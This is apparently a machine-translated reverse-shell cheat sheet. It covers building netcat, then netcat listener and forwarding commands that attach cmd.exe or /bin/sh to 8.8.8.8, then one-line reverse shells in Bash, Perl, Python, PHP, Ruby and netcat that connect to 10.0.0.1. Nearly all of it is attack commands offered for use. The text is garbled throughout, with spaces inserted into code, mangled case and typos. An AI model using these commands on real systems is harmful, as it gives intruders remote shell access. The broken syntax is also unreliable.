Local Windows listener
Nc-vv-l-p 1234 first from sf get a tar compressed package wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download-O netcat-0.7.1.tar.gz and then of course is extracted tar zxvf netcat-0.7.1.tar.gz after decompression will generate a directory, to cd into the cd netcat-0.7.1 and then perform the pre-compilation configuration .. /After configure is configured, you can make the compilation. After www.2cto.com is compiled successfully, the netcat executable file is generated, which is located in the src directory. Run the file on cd. /netcat-h. local Windows listening nc-vv-l-p 1234 Remote Windows forwarding
Nc-t-e C: \ WINDOWS \ system32 \ cmd.exe 8.8.8.8 1234 remote Linux forwarding./netcat 8.8.8.8 1234-e/bin/shReverseShell. cReverseShell. plReverseShell. pyphpspy. php
------- NetCat for linux parameter e --------- wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gztar zxvf netcat-0.7.1.tar.gzcd netcat-0.7.1./configuremakmcm src./netcat-h ----------------------- one-sentence Bounce Command http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet [Bash] bash-I> &/dev/tcp/10.0.0.1/8080 0> & 1 [PERL] perl-e 'use Socket; $ I = "10.0.0.1 ″; $ p = 1234; socket (S, PF_INET, SOCK_STREAM, getprotobyname ("tcp"); if (connect (S, sockaddr_in ($ p, inet_aton ($ I )))) {open (STDIN, "> & S"); open (STDOUT, "> & S"); open (STDERR, "> & S "); exec ("/bin/sh-I") ;}; '[Python] python-C' import socket, subprocess, OS; s = socket. socket (socket. AF_INET, socket. SOCK_STREAM); s. connect ("10.0.0.1", 1234); OS. dup2 (s. fileno (), 0); OS. dup2 (s. fileno (), 1); OS. dup2 (s. fileno (), 2); p = subprocess. call (["/bin/sh", "-I"]); '[PHP] php-R' $ sock = fsockopen ("10.0.0.1", 1234 ); exec ("/bin/sh-I <& 3> & 3 2> & 3"); '[Ruby] ruby-rsocket-e' f = TCPSocket. open ("10.0.0.1", 1234 ). to_ I; exec sprintf ("/bin/sh-I <& % d> & % d 2> & % d", f, f) '[Netcat] nc-e/bin/sh 10.0.0.1 1234rm/tmp/f; mkfifo/tmp/f; cat/tmp/f |/bin/sh-I 2> & 1 | nc 10.0.0.1 1234>/tmp/f